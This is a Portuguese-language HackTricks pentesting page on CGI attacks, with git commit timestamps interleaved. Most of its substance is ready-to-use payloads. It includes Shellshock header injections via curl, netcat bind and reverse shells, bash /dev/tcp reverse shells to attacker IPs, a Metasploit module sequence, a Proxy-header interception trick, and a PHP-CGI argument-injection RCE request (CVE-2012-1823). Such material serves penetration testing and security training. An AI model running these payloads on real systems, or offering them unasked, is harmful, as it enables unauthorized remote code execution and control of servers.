hacktricks/network-services-pentesting/pentesting-web/cgi.md

98 lines
6.9 KiB
Markdown
Raw Normal View History

<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
2023-06-06 18:56:34 +00:00
# Informação
2022-04-28 16:01:33 +00:00
Os **scripts CGI são scripts perl**, então, se você comprometeu um servidor que pode executar scripts _**.cgi**_, você pode **fazer upload de um reverse shell perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **mudar a extensão** de **.pl** para **.cgi**, dar **permissões de execução** \(`chmod +x`\) e **acessar** o reverse shell **pelo navegador web** para executá-lo.
Para testar **vulnerabilidades CGI** é recomendado usar `nikto -C all` \(e todos os plugins\)
2022-05-01 12:49:36 +00:00
# **ShellShock**
Bash também pode ser usado para executar comandos passados a ele por aplicações e é essa funcionalidade que a vulnerabilidade afeta. Um tipo de comando que pode ser enviado ao Bash permite que variáveis de ambiente sejam definidas. Variáveis de ambiente são valores dinâmicos e nomeados que afetam a maneira como processos são executados em um computador. A vulnerabilidade está no fato de que um **atacante pode adicionar código malicioso à variável de ambiente, que será executado assim que a variável for recebida**.
Explorando essa vulnerabilidade, a **página pode exibir um erro**.
Você pode **encontrar** essa vulnerabilidade notando que está sendo usada uma **versão antiga do Apache** e **cgi\_mod** \(com pasta cgi\) ou usando **nikto**.
2023-06-06 18:56:34 +00:00
## **Teste**
A maioria dos testes é baseada em ecoar algo e esperar que essa string seja retornada na resposta web. Se você acha que uma página pode ser vulnerável, procure por todas as páginas cgi e teste-as.
**Nmap**
```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```
## **Curl \(refletido, cego e fora de banda\)**
```bash
2021-09-24 22:56:32 +00:00
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
2021-09-24 22:56:32 +00:00
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
2021-09-24 22:56:32 +00:00
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
```
2022-04-05 22:24:52 +00:00
[**Shellsocker**](https://github.com/liamim/shellshocker)
```bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
```
2023-06-06 18:56:34 +00:00
## Exploração
```bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
```
# **Proxy \(MitM para requisições ao servidor Web\)**
CGI cria uma variável de ambiente para cada cabeçalho na requisição http. Por exemplo: "host:web.com" é criado como "HTTP\_HOST"="web.com"
Como a variável HTTP\_PROXY poderia ser usada pelo servidor web. Tente enviar um **cabeçalho** contendo: "**Proxy: &lt;IP\_atacante&gt;:&lt;PORT&gt;**" e se o servidor realizar alguma requisição durante a sessão. Você poderá capturar cada requisição feita pelo servidor.
2020-08-06 14:25:29 +00:00
# PHP Antigo + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
2020-08-06 14:25:29 +00:00
Basicamente se cgi está ativo e o php é "antigo" \(&lt;5.3.12 / &lt; 5.4.2\) você pode executar código.
Para explorar essa vulnerabilidade você precisa acessar algum arquivo PHP do servidor web sem enviar parâmetros \(especialmente sem enviar o caractere "="\).
Então, para testar essa vulnerabilidade, você poderia acessar por exemplo `/index.php?-s` \(note o `-s`\) e **o código fonte da aplicação aparecerá na resposta**.
2020-08-06 14:25:29 +00:00
Então, para obter **RCE** você pode enviar esta consulta especial: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` e o **código PHP** a ser executado no **corpo da requisição.
Exemplo:**
2020-08-06 14:25:29 +00:00
```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**Mais informações sobre a vulnerabilidade e possíveis exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**Exemplo de Writeup de CTF**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda a hackear AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Outras formas de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo do [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>